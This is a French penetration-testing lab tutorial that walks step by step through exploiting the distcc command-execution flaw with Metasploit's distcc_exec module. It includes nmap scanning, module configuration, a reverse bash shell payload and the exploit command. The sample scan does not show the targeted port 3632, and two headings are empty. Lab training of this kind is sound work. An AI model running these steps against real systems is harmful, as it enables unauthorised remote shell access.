Effectuer des tests de pénétration
Principe de la vulnérabilité du service Distcc :
Distcc est utilisé pour la compilation distribuée de grands ensembles de code sur des serveurs réseau. Cependant, s'il est mal configuré, il peut être exploité pour exécuter des commandes. Cette vulnérabilité est présente dans XCode 1.5 et d'autres versions de Distcc 2.x en raison de l'absence de restrictions d'accès au port du serveur.
En termes simples, le service manque de vérifications appropriées sur les ports et les tâches exécutées, permettant aux attaquants d'exploiter les tâches de compilation distribuées pour exécuter leurs propres commandes.
Indices de vulnérabilité :
Code du module d'attaque de la vulnérabilité :
Tout d'abord, démarrez msfconsole pour entrer dans l'interface d'opération :
cd ~
msfconsole
Utilisez l'outil de scan Nmap pour scanner les ports ouverts de l'hôte cible :
nmap -sV -T4 192.168.122.102
Voici un exemple de sortie que vous pourriez voir :
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-30 21:51 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0075s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
53/tcp open domain ISC BIND 9.4.2
111/tcp open rpcbind 2 (RPC #100000)
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
MAC Address: 52:54:00:1E:9E:B4 (QEMU virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds
Sur la base des résultats du scan, recherchez le module correspondant au service de port que vous souhaitez attaquer :
search distcc
Dans le terminal Kali MSF, utilisez la commande use pour sélectionner le module approprié :
use exploit/unix/misc/distcc_exec
Ensuite, utilisez la commande show options pour afficher les paramètres du module :
show options
Voici un exemple de sortie que vous pourriez voir :
Module options (exploit/unix/misc/distcc_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasplo
it.html
RPORT 3632 yes The target port (TCP)
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.28.140.88 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
View the full module info with the info, or info -d command.
Définissez le paramètre de l'hôte cible RHOST sur 192.168.122.102
set RHOST 192.168.122.102
Une fois tout configuré, utilisez la commande exploit pour attaquer l'hôte :
exploit
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis commencez l'inspection
